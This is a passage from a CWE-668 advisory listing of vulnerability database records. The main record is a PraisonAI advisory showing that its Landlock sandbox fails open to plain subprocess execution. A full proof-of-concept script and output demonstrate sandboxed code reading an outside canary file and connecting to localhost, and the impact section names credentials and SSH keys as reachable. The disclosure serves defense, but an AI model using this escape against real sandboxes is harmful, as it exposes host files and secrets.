CWE-668
DiscouragedExposure of Resource to Wrong Sphere
Abstraction: Class · Status: Draft
The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.
1276 vulnerabilities reference this CWE, most recent first.
GHSA-6HJ6-3MCR-FM3H
Vulnerability from github – Published: 2022-06-25 00:00 – Updated: 2022-07-01 00:01IBM Jazz Team Server 6.0.6, 6.0.6.1, 7.0, 7.0.1, and 7.0.2 could allow a remote attacker to obtain sensitive information, caused by the failure to set the HTTPOnly flag. A remote attacker could exploit this vulnerability to obtain sensitive information from the cookie. IBM X-Force ID: 209057.
{
"affected": [],
"aliases": [
"CVE-2021-38879"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-24T17:15:00Z",
"severity": "MODERATE"
},
"details": "IBM Jazz Team Server 6.0.6, 6.0.6.1, 7.0, 7.0.1, and 7.0.2 could allow a remote attacker to obtain sensitive information, caused by the failure to set the HTTPOnly flag. A remote attacker could exploit this vulnerability to obtain sensitive information from the cookie. IBM X-Force ID: 209057.",
"id": "GHSA-6hj6-3mcr-fm3h",
"modified": "2022-07-01T00:01:10Z",
"published": "2022-06-25T00:00:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38879"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/209057"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6597501"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6JCQ-6546-QRRW
Vulnerability from github – Published: 2026-06-18 14:27 – Updated: 2026-07-20 21:28Summary
praisonai.sandbox.SandlockSandbox is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its SandboxConfig.native() path lets callers configure allowed filesystem paths and network=False.
On systems where the optional sandlock module imports but reports that Landlock is unavailable, SandlockSandbox.execute() and run_command() do not fail closed. They silently fall back to SubprocessSandbox(self.config).
That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite network=False.
Technical Details
SandboxConfig.native() creates a restricted native policy and records caller-provided writable paths plus the requested network posture:
return cls(
sandbox_type="native",
working_dir=os.getcwd(),
security_policy=SecurityPolicy(
allow_network=network,
allow_file_write=True,
allow_subprocess=True,
allowed_paths=resolved_paths,
),
metadata={"writable_paths": resolved_paths, "network": network},
)
SandlockSandbox builds the intended kernel policy with Landlock-backed filesystem allowlisting and network denial:
policy = Policy(
fs_readable=allowed_read_paths,
fs_writable=allowed_write_paths,
net_allow_hosts=[] if not limits.network_enabled else None,
max_memory=f"{limits.memory_mb}M",
max_processes=limits.max_processes,
max_open_files=limits.max_open_files,
)
However, both execution paths fail open when Sandlock is unavailable:
if not self.is_available:
logger.warning("Sandlock not available, falling back to subprocess")
from .subprocess import SubprocessSandbox
fallback = SubprocessSandbox(self.config)
return await fallback.execute(code, language, limits, env, working_dir)
SubprocessSandbox.execute() writes the code to a temp file and runs python with a minimal environment and POSIX rlimits. It does not install a filesystem sandbox, network namespace, syscall filter, chroot, Landlock policy, or path allowlist for the code execution path. The safe_sandbox_path() checks only protect the read_file(), write_file(), and list_files() helper methods.
Why This Is Not Intended Behavior
The report is not based only on a trust-model disagreement. The code and docs define a concrete boundary:
- PraisonAI's Sandlock README says the backend provides kernel-level filesystem allowlisting, network isolation, seccomp filtering, and blocks
/etc/passwd, SSH keys, AWS credentials, and unauthorized connections. - The security demo creates
SandboxConfig.native(writable_paths=["./safe_workspace"], network=False)and labels file and network access as blocked operations. - The upstream
sandlockpackage requires Linux with a compatible Landlock ABI and documents a fail-closed default for missing required protections unless the caller explicitly opts into degraded protection. - PraisonAI's own current security page recommends sandboxed execution and says path traversal protection is enabled by default for local sandbox backends.
The bug is the silent fallback from an unavailable kernel-enforced boundary to plain subprocess execution without preserving the configured native policy.
PoV
Run from a PraisonAI source checkout:
python3 poc/pov_poc.py \
--repo /path/to/PraisonAI
The PoV:
- injects a fake
sandlockmodule that imports successfully but reports no usable Landlock support; - configures
SandboxConfig.native(writable_paths=[tenant_a], network=False); - creates
tenant-b-secret.txtoutside the configured path; - starts a localhost TCP listener;
- executes code through
SandlockSandbox.execute().
Observed result on v4.6.58:
{
"child_output": {
"network_reply": "local-ok",
"outside_read": "TENANT_B_CANARY"
},
"configured_network": false,
"outside_path_under_allowed": false,
"sandlock_available": false,
"sandbox_type": "sandlock",
"status": "COMPLETED",
"vulnerable": true
}
This proves both policy boundaries are crossed:
- the file read target is not under the configured allowed path;
- the localhost network connection succeeds even though the native policy was created with
network=False.
Full PoV script:
#!/usr/bin/env python3
"""Local-only PoV for poc.
The PoV simulates a system where the optional ``sandlock`` Python package is
installed but kernel Landlock support is unavailable. That is the exact branch
handled by ``SandlockSandbox.execute()``: it logs a warning and falls back to
``SubprocessSandbox``.
No external network is used. The network control is a localhost TCP listener.
No sensitive host files are read. The filesystem control uses temporary tenant
directories and a canary file outside the configured writable path.
"""
from __future__ import annotations
import argparse
import asyncio
import contextlib
import json
import os
import pathlib
import socket
import sys
import tempfile
import types
from typing import Any
def _repo_paths(repo: pathlib.Path) -> list[str]:
return [
str(repo / "src" / "praisonai"),
str(repo / "src" / "praisonai-agents"),
]
async def _accept_once(server: socket.socket) -> str | None:
loop = asyncio.get_running_loop()
def accept() -> str:
conn, _ = server.accept()
with conn:
data = conn.recv(128)
conn.sendall(b"local-ok")
return data.decode("utf-8", "replace")
with contextlib.suppress(Exception):
return await loop.run_in_executor(None, accept)
return None
async def run_pov(repo: pathlib.Path) -> dict[str, Any]:
sandlock_path = repo / "src" / "praisonai" / "praisonai" / "sandbox" / "sandlock.py"
if not sandlock_path.exists():
return {"repo": str(repo), "has_sandlock": False, "vulnerable": False}
sys.path[:0] = _repo_paths(repo)
# Support both the original v4.5.110 API check and the current v4.6.58 API
# check while forcing the "Sandlock not available" branch.
sys.modules["sandlock"] = types.SimpleNamespace(
is_available=lambda: False,
landlock_abi_version=lambda: 0,
)
from praisonai.sandbox.sandlock import SandlockSandbox
from praisonaiagents.sandbox import ResourceLimits, SandboxConfig
with tempfile.TemporaryDirectory(prefix="poc-") as temp_root:
base = pathlib.Path(temp_root)
# Make the PoV deterministic on systems where "python" is not on PATH.
bindir = base / "bin"
bindir.mkdir()
(bindir / "python").symlink_to(sys.executable)
allowed = base / "tenant-a"
allowed.mkdir()
outside = base / "tenant-b-secret.txt"
outside.write_text("TENANT_B_CANARY", encoding="utf-8")
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("127.0.0.1", 0))
server.listen(1)
server.settimeout(5)
port = server.getsockname()[1]
config = SandboxConfig.native(writable_paths=[str(allowed)], network=False)
sandbox = SandlockSandbox(config=config)
await sandbox.start()
code = f"""
import json
import socket
result = {{}}
try:
with open({str(outside)!r}, "r") as f:
result["outside_read"] = f.read()
except Exception as exc:
result["outside_read_error"] = type(exc).__name__ + ": " + str(exc)
try:
s = socket.create_connection(("127.0.0.1", {port}), timeout=3)
s.sendall(b"hello")
result["network_reply"] = s.recv(32).decode("utf-8", "replace")
s.close()
except Exception as exc:
result["network_error"] = type(exc).__name__ + ": " + str(exc)
print(json.dumps(result, sort_keys=True))
"""
accept_task = asyncio.create_task(_accept_once(server))
result = await sandbox.execute(
code,
limits=ResourceLimits(
timeout_seconds=10,
memory_mb=512,
max_processes=10,
max_open_files=64,
network_enabled=False,
),
env={"PATH": str(bindir)},
)
accepted_payload = None
with contextlib.suppress(Exception):
accepted_payload = await accept_task
server.close()
await sandbox.stop()
child_output: dict[str, Any] = {}
with contextlib.suppress(Exception):
child_output = json.loads(result.stdout.strip())
vulnerable = (
child_output.get("outside_read") == "TENANT_B_CANARY"
and child_output.get("network_reply") == "local-ok"
)
return {
"repo": str(repo),
"has_sandlock": True,
"sandbox_type": sandbox.sandbox_type,
"sandlock_available": sandbox.is_available,
"configured_allowed_paths": config.security_policy.allowed_paths,
"configured_network": config.security_policy.allow_network,
"outside_path_under_allowed": str(outside).startswith(str(allowed) + os.sep),
"status": getattr(result.status, "name", str(result.status)),
"exit_code": result.exit_code,
"stdout": result.stdout.strip(),
"stderr": result.stderr.strip(),
"error": result.error,
"child_output": child_output,
"accepted_local_payload": accepted_payload,
"vulnerable": vulnerable,
}
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", required=True, type=pathlib.Path)
args = parser.parse_args()
result = asyncio.run(run_pov(args.repo.resolve()))
print(json.dumps(result, indent=2, sort_keys=True))
if result.get("has_sandlock") and not result.get("vulnerable"):
return 1
return 0
if __name__ == "__main__":
raise SystemExit(main())
PoC
The PoV section above contains the local reproduction command, input, and decisive output.
Impact
If a PraisonAI user or service relies on SandlockSandbox / native sandboxing for untrusted code isolation on a host without the required Landlock support, code submitted to the sandbox can execute with the host user's normal filesystem and network access.
Concrete impact includes:
- reading files outside the configured tenant/workspace path;
- reading project files, credentials,
.envfiles, SSH material, or cloud config reachable by the PraisonAI process user; - connecting to loopback or internal services despite
network=False; - moving from sandboxed code execution to unsandboxed host-user code execution in deployments that treat Sandlock as the isolation boundary.
The local PoV does not read real sensitive files or contact external systems. It uses temporary tenant directories and a localhost TCP listener.
Suggested Fix
Fail closed when the requested native sandbox boundary cannot be enforced.
Recommended changes:
- In
SandlockSandbox.execute()andrun_command(), return a failedSandboxResultor raise a clear runtime error whenself.is_availableis false. - If fallback behavior is kept for developer convenience, require an explicit opt-in such as
allow_degraded=Trueorfallback="subprocess"and surface that degraded state in the result metadata. - Do not preserve
sandbox_type == "sandlock"in status metadata when the actual execution backend is subprocess. - Add regression tests proving that unavailable Landlock does not execute code unless degraded fallback was explicitly requested.
- Add tests that a native policy with
network=Falseand a restricted path cannot read outside-path canaries or connect to a localhost listener. - Document the required kernel/ABI versions and the exact degraded-mode semantics.
Affected Package/Versions
- Repository:
MervinPraison/PraisonAI - Package:
praisonai - Component:
src/praisonai/praisonai/sandbox/sandlock.py - Related config component:
src/praisonai-agents/praisonaiagents/sandbox/config.py - Latest verified release/current head:
v4.6.58,1ad58ca02975ff1398efeda694ea2ab78f20cf3e
Confirmed affected:
v4.5.110 vulnerable
v4.5.120 vulnerable
v4.6.58 vulnerable
current vulnerable
Negative control:
v4.5.109 not affected because SandlockSandbox is absent
Suggested affected range: >= 4.5.110, <= 4.6.58.
No fixed version is known at submission time.
Version Sweep
version has_sandlock sandlock_available status outside_read network_reply vulnerable
praisonai-v4.5.109 false false
praisonai-v4.5.110 true false COMPLETED TENANT_B_CANARY local-ok true
praisonai-v4.6.58 true false COMPLETED TENANT_B_CANARY local-ok true
praisonai-current true false COMPLETED TENANT_B_CANARY local-ok true
GitHub history for sandlock.py shows the backend was introduced in 4ee7d298c89f on 2026-04-01 with "graceful fallback to SubprocessSandbox", then updated in 7ae6c6d19c31 on 2026-04-02 to use the current Landlock ABI check.
Advisory History
Nearby advisories are distinct:
GHSA-r4f2-3m54-pp7q/CVE-2026-34955:SubprocessSandboxshell command escape through4.5.96.GHSA-4mr5-g6f9-cfrh,GHSA-qf73-2hrx-xprp,GHSA-6vh2-h83c-9294:execute_code()Python sandbox escapes.GHSA-ch89-h4r2-c8f8: agent tools workspace escape via symlinks.GHSA-gcq3-mfvh-3x25: PraisonAI Code agent tool workspace fail-open.
This report covers a different root cause: SandlockSandbox / native sandbox policy downgrade when Landlock is unavailable. It reproduces on the latest release v4.6.58, while the older SubprocessSandbox shell escape advisory was fixed at 4.5.97.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "4.5.110"
},
{
"fixed": "4.6.61"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57144"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-668",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:27:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`praisonai.sandbox.SandlockSandbox` is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its `SandboxConfig.native()` path lets callers configure allowed filesystem paths and `network=False`.\n\nOn systems where the optional `sandlock` module imports but reports that Landlock is unavailable, `SandlockSandbox.execute()` and `run_command()` do not fail closed. They silently fall back to `SubprocessSandbox(self.config)`.\n\nThat fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite `network=False`.\n\n## Technical Details\n\n`SandboxConfig.native()` creates a restricted native policy and records caller-provided writable paths plus the requested network posture:\n\n```python\nreturn cls(\n sandbox_type=\"native\",\n working_dir=os.getcwd(),\n security_policy=SecurityPolicy(\n allow_network=network,\n allow_file_write=True,\n allow_subprocess=True,\n allowed_paths=resolved_paths,\n ),\n metadata={\"writable_paths\": resolved_paths, \"network\": network},\n)\n```\n\n`SandlockSandbox` builds the intended kernel policy with Landlock-backed filesystem allowlisting and network denial:\n\n```python\npolicy = Policy(\n fs_readable=allowed_read_paths,\n fs_writable=allowed_write_paths,\n net_allow_hosts=[] if not limits.network_enabled else None,\n max_memory=f\"{limits.memory_mb}M\",\n max_processes=limits.max_processes,\n max_open_files=limits.max_open_files,\n)\n```\n\nHowever, both execution paths fail open when Sandlock is unavailable:\n\n```python\nif not self.is_available:\n logger.warning(\"Sandlock not available, falling back to subprocess\")\n from .subprocess import SubprocessSandbox\n fallback = SubprocessSandbox(self.config)\n return await fallback.execute(code, language, limits, env, working_dir)\n```\n\n`SubprocessSandbox.execute()` writes the code to a temp file and runs `python` with a minimal environment and POSIX rlimits. It does not install a filesystem sandbox, network namespace, syscall filter, chroot, Landlock policy, or path allowlist for the code execution path. The `safe_sandbox_path()` checks only protect the `read_file()`, `write_file()`, and `list_files()` helper methods.\n\n### Why This Is Not Intended Behavior\n\nThe report is not based only on a trust-model disagreement. The code and docs define a concrete boundary:\n\n- PraisonAI\u0027s Sandlock README says the backend provides kernel-level filesystem allowlisting, network isolation, seccomp filtering, and blocks `/etc/passwd`, SSH keys, AWS credentials, and unauthorized connections.\n- The security demo creates `SandboxConfig.native(writable_paths=[\"./safe_workspace\"], network=False)` and labels file and network access as blocked operations.\n- The upstream `sandlock` package requires Linux with a compatible Landlock ABI and documents a fail-closed default for missing required protections unless the caller explicitly opts into degraded protection.\n- PraisonAI\u0027s own current security page recommends sandboxed execution and says path traversal protection is enabled by default for local sandbox backends.\n\nThe bug is the silent fallback from an unavailable kernel-enforced boundary to plain subprocess execution without preserving the configured native policy.\n\n## PoV\n\nRun from a PraisonAI source checkout:\n\n```bash\npython3 poc/pov_poc.py \\\n --repo /path/to/PraisonAI\n```\n\nThe PoV:\n\n1. injects a fake `sandlock` module that imports successfully but reports no usable Landlock support;\n2. configures `SandboxConfig.native(writable_paths=[tenant_a], network=False)`;\n3. creates `tenant-b-secret.txt` outside the configured path;\n4. starts a localhost TCP listener;\n5. executes code through `SandlockSandbox.execute()`.\n\nObserved result on `v4.6.58`:\n\n```json\n{\n \"child_output\": {\n \"network_reply\": \"local-ok\",\n \"outside_read\": \"TENANT_B_CANARY\"\n },\n \"configured_network\": false,\n \"outside_path_under_allowed\": false,\n \"sandlock_available\": false,\n \"sandbox_type\": \"sandlock\",\n \"status\": \"COMPLETED\",\n \"vulnerable\": true\n}\n```\n\nThis proves both policy boundaries are crossed:\n\n- the file read target is not under the configured allowed path;\n- the localhost network connection succeeds even though the native policy was created with `network=False`.\n\nFull PoV script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local-only PoV for poc.\n\nThe PoV simulates a system where the optional ``sandlock`` Python package is\ninstalled but kernel Landlock support is unavailable. That is the exact branch\nhandled by ``SandlockSandbox.execute()``: it logs a warning and falls back to\n``SubprocessSandbox``.\n\nNo external network is used. The network control is a localhost TCP listener.\nNo sensitive host files are read. The filesystem control uses temporary tenant\ndirectories and a canary file outside the configured writable path.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport contextlib\nimport json\nimport os\nimport pathlib\nimport socket\nimport sys\nimport tempfile\nimport types\nfrom typing import Any\n\ndef _repo_paths(repo: pathlib.Path) -\u003e list[str]:\n return [\n str(repo / \"src\" / \"praisonai\"),\n str(repo / \"src\" / \"praisonai-agents\"),\n ]\n\nasync def _accept_once(server: socket.socket) -\u003e str | None:\n loop = asyncio.get_running_loop()\n\n def accept() -\u003e str:\n conn, _ = server.accept()\n with conn:\n data = conn.recv(128)\n conn.sendall(b\"local-ok\")\n return data.decode(\"utf-8\", \"replace\")\n\n with contextlib.suppress(Exception):\n return await loop.run_in_executor(None, accept)\n return None\n\nasync def run_pov(repo: pathlib.Path) -\u003e dict[str, Any]:\n sandlock_path = repo / \"src\" / \"praisonai\" / \"praisonai\" / \"sandbox\" / \"sandlock.py\"\n if not sandlock_path.exists():\n return {\"repo\": str(repo), \"has_sandlock\": False, \"vulnerable\": False}\n\n sys.path[:0] = _repo_paths(repo)\n\n # Support both the original v4.5.110 API check and the current v4.6.58 API\n # check while forcing the \"Sandlock not available\" branch.\n sys.modules[\"sandlock\"] = types.SimpleNamespace(\n is_available=lambda: False,\n landlock_abi_version=lambda: 0,\n )\n\n from praisonai.sandbox.sandlock import SandlockSandbox\n from praisonaiagents.sandbox import ResourceLimits, SandboxConfig\n\n with tempfile.TemporaryDirectory(prefix=\"poc-\") as temp_root:\n base = pathlib.Path(temp_root)\n\n # Make the PoV deterministic on systems where \"python\" is not on PATH.\n bindir = base / \"bin\"\n bindir.mkdir()\n (bindir / \"python\").symlink_to(sys.executable)\n\n allowed = base / \"tenant-a\"\n allowed.mkdir()\n outside = base / \"tenant-b-secret.txt\"\n outside.write_text(\"TENANT_B_CANARY\", encoding=\"utf-8\")\n\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server.bind((\"127.0.0.1\", 0))\n server.listen(1)\n server.settimeout(5)\n port = server.getsockname()[1]\n\n config = SandboxConfig.native(writable_paths=[str(allowed)], network=False)\n sandbox = SandlockSandbox(config=config)\n await sandbox.start()\n\n code = f\"\"\"\nimport json\nimport socket\n\nresult = {{}}\n\ntry:\n with open({str(outside)!r}, \"r\") as f:\n result[\"outside_read\"] = f.read()\nexcept Exception as exc:\n result[\"outside_read_error\"] = type(exc).__name__ + \": \" + str(exc)\n\ntry:\n s = socket.create_connection((\"127.0.0.1\", {port}), timeout=3)\n s.sendall(b\"hello\")\n result[\"network_reply\"] = s.recv(32).decode(\"utf-8\", \"replace\")\n s.close()\nexcept Exception as exc:\n result[\"network_error\"] = type(exc).__name__ + \": \" + str(exc)\n\nprint(json.dumps(result, sort_keys=True))\n\"\"\"\n\n accept_task = asyncio.create_task(_accept_once(server))\n result = await sandbox.execute(\n code,\n limits=ResourceLimits(\n timeout_seconds=10,\n memory_mb=512,\n max_processes=10,\n max_open_files=64,\n network_enabled=False,\n ),\n env={\"PATH\": str(bindir)},\n )\n\n accepted_payload = None\n with contextlib.suppress(Exception):\n accepted_payload = await accept_task\n\n server.close()\n await sandbox.stop()\n\n child_output: dict[str, Any] = {}\n with contextlib.suppress(Exception):\n child_output = json.loads(result.stdout.strip())\n\n vulnerable = (\n child_output.get(\"outside_read\") == \"TENANT_B_CANARY\"\n and child_output.get(\"network_reply\") == \"local-ok\"\n )\n\n return {\n \"repo\": str(repo),\n \"has_sandlock\": True,\n \"sandbox_type\": sandbox.sandbox_type,\n \"sandlock_available\": sandbox.is_available,\n \"configured_allowed_paths\": config.security_policy.allowed_paths,\n \"configured_network\": config.security_policy.allow_network,\n \"outside_path_under_allowed\": str(outside).startswith(str(allowed) + os.sep),\n \"status\": getattr(result.status, \"name\", str(result.status)),\n \"exit_code\": result.exit_code,\n \"stdout\": result.stdout.strip(),\n \"stderr\": result.stderr.strip(),\n \"error\": result.error,\n \"child_output\": child_output,\n \"accepted_local_payload\": accepted_payload,\n \"vulnerable\": vulnerable,\n }\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--repo\", required=True, type=pathlib.Path)\n args = parser.parse_args()\n\n result = asyncio.run(run_pov(args.repo.resolve()))\n print(json.dumps(result, indent=2, sort_keys=True))\n\n if result.get(\"has_sandlock\") and not result.get(\"vulnerable\"):\n return 1\n return 0\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nIf a PraisonAI user or service relies on `SandlockSandbox` / native sandboxing for untrusted code isolation on a host without the required Landlock support, code submitted to the sandbox can execute with the host user\u0027s normal filesystem and network access.\n\nConcrete impact includes:\n\n- reading files outside the configured tenant/workspace path;\n- reading project files, credentials, `.env` files, SSH material, or cloud config reachable by the PraisonAI process user;\n- connecting to loopback or internal services despite `network=False`;\n- moving from sandboxed code execution to unsandboxed host-user code execution in deployments that treat Sandlock as the isolation boundary.\n\nThe local PoV does not read real sensitive files or contact external systems. It uses temporary tenant directories and a localhost TCP listener.\n\n## Suggested Fix\n\nFail closed when the requested native sandbox boundary cannot be enforced.\n\nRecommended changes:\n\n1. In `SandlockSandbox.execute()` and `run_command()`, return a failed `SandboxResult` or raise a clear runtime error when `self.is_available` is false.\n2. If fallback behavior is kept for developer convenience, require an explicit opt-in such as `allow_degraded=True` or `fallback=\"subprocess\"` and surface that degraded state in the result metadata.\n3. Do not preserve `sandbox_type == \"sandlock\"` in status metadata when the actual execution backend is subprocess.\n4. Add regression tests proving that unavailable Landlock does not execute code unless degraded fallback was explicitly requested.\n5. Add tests that a native policy with `network=False` and a restricted path cannot read outside-path canaries or connect to a localhost listener.\n6. Document the required kernel/ABI versions and the exact degraded-mode semantics.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Package: `praisonai`\n- Component: `src/praisonai/praisonai/sandbox/sandlock.py`\n- Related config component: `src/praisonai-agents/praisonaiagents/sandbox/config.py`\n- Latest verified release/current head: `v4.6.58`, `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n\nConfirmed affected:\n\n```text\nv4.5.110 vulnerable\nv4.5.120 vulnerable\nv4.6.58 vulnerable\ncurrent vulnerable\n```\n\nNegative control:\n\n```text\nv4.5.109 not affected because SandlockSandbox is absent\n```\n\nSuggested affected range: `\u003e= 4.5.110, \u003c= 4.6.58`.\n\nNo fixed version is known at submission time.\n\n### Version Sweep\n\n```text\nversion has_sandlock sandlock_available status outside_read network_reply vulnerable\npraisonai-v4.5.109 false false\npraisonai-v4.5.110 true false COMPLETED TENANT_B_CANARY local-ok true\npraisonai-v4.6.58 true false COMPLETED TENANT_B_CANARY local-ok true\npraisonai-current true false COMPLETED TENANT_B_CANARY local-ok true\n```\n\nGitHub history for `sandlock.py` shows the backend was introduced in `4ee7d298c89f` on 2026-04-01 with \"graceful fallback to SubprocessSandbox\", then updated in `7ae6c6d19c31` on 2026-04-02 to use the current Landlock ABI check.\n\n## Advisory History\n\nNearby advisories are distinct:\n\n- `GHSA-r4f2-3m54-pp7q` / `CVE-2026-34955`: `SubprocessSandbox` shell command escape through `4.5.96`.\n- `GHSA-4mr5-g6f9-cfrh`, `GHSA-qf73-2hrx-xprp`, `GHSA-6vh2-h83c-9294`: `execute_code()` Python sandbox escapes.\n- `GHSA-ch89-h4r2-c8f8`: agent tools workspace escape via symlinks.\n- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tool workspace fail-open.\n\nThis report covers a different root cause: `SandlockSandbox` / native sandbox policy downgrade when Landlock is unavailable. It reproduces on the latest release `v4.6.58`, while the older `SubprocessSandbox` shell escape advisory was fixed at `4.5.97`.",
"id": "GHSA-6jcq-6546-qrrw",
"modified": "2026-07-20T21:28:18Z",
"published": "2026-06-18T14:27:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6jcq-6546-qrrw"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI SandlockSandbox falls back to unrestricted subprocess execution when Landlock is unavailable"
}
GHSA-6M7F-7867-PX97
Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2024-04-04 02:34In IntelliSpace Perinatal, Versions K and prior, a vulnerability within the IntelliSpace Perinatal application environment could enable an unauthorized attacker with physical access to a locked application screen, or an authorized remote desktop session host application user to break-out from the containment of the application and access unauthorized resources from the Windows operating system as the limited-access Windows user. Due to potential Windows vulnerabilities, it may be possible for additional attack methods to be used to escalate privileges on the operating system.
{
"affected": [],
"aliases": [
"CVE-2019-13546"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-25T18:15:00Z",
"severity": "HIGH"
},
"details": "In IntelliSpace Perinatal, Versions K and prior, a vulnerability within the IntelliSpace Perinatal application environment could enable an unauthorized attacker with physical access to a locked application screen, or an authorized remote desktop session host application user to break-out from the containment of the application and access unauthorized resources from the Windows operating system as the limited-access Windows user. Due to potential Windows vulnerabilities, it may be possible for additional attack methods to be used to escalate privileges on the operating system.",
"id": "GHSA-6m7f-7867-px97",
"modified": "2024-04-04T02:34:35Z",
"published": "2022-05-24T16:59:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13546"
},
{
"type": "WEB",
"url": "https://www.us-cert.gov/ics/advisories/icsma-19-297-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6MCP-RMFC-CQP5
Vulnerability from github – Published: 2022-07-13 00:00 – Updated: 2022-07-21 00:00Under special integration scenario of SAP Business one and SAP HANA - version 10.0, an attacker can exploit HANA cockpit?s data volume to gain access to highly sensitive information (e.g., high privileged account credentials)
{
"affected": [],
"aliases": [
"CVE-2022-32249"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-12T21:15:00Z",
"severity": "HIGH"
},
"details": "Under special integration scenario of SAP Business one and SAP HANA - version 10.0, an attacker can exploit HANA cockpit?s data volume to gain access to highly sensitive information (e.g., high privileged account credentials)",
"id": "GHSA-6mcp-rmfc-cqp5",
"modified": "2022-07-21T00:00:27Z",
"published": "2022-07-13T00:00:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32249"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3212997"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6MF2-C677-CHPV
Vulnerability from github – Published: 2023-03-07 18:30 – Updated: 2023-03-14 21:30An information disclosure vulnerability was identified in GitHub Enterprise Server that allowed private repositories to be added to a GitHub Actions runner group via the API by a user who did not have access to those repositories, resulting in the repository names being shown in the UI. To exploit this vulnerability, an attacker would need access to the GHES instance, permissions to modify GitHub Actions runner groups, and successfully guess the obfuscated ID of private repositories. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.7 and was fixed in versions 3.3.17, 3.4.12, 3.5.9, 3.6.5. This vulnerability was reported via the GitHub Bug Bounty program.
{
"affected": [],
"aliases": [
"CVE-2022-46257"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-07T17:15:00Z",
"severity": "MODERATE"
},
"details": "An information disclosure vulnerability was identified in GitHub Enterprise Server that allowed private repositories to be added to a GitHub Actions runner group via the API by a user who did not have access to those repositories, resulting in the repository names being shown in the UI. To exploit this vulnerability, an attacker would need access to the GHES instance, permissions to modify GitHub Actions runner groups, and successfully guess the obfuscated ID of private repositories. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.7 and was fixed in versions 3.3.17, 3.4.12, 3.5.9, 3.6.5. This vulnerability was reported via the GitHub Bug Bounty program.",
"id": "GHSA-6mf2-c677-chpv",
"modified": "2023-03-14T21:30:22Z",
"published": "2023-03-07T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46257"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.3/admin/release-notes#3.3.17"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.4/admin/release-notes#3.4.12"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.5/admin/release-notes#3.5.9"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.6/admin/release-notes#3.6.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6MPR-VVFH-R7H5
Vulnerability from github – Published: 2023-07-06 15:30 – Updated: 2024-04-04 05:26Vulnerability of kernel raw address leakage in the hang detector module. Successful exploitation of this vulnerability may affect service confidentiality.
{
"affected": [],
"aliases": [
"CVE-2023-3456"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-668"
],
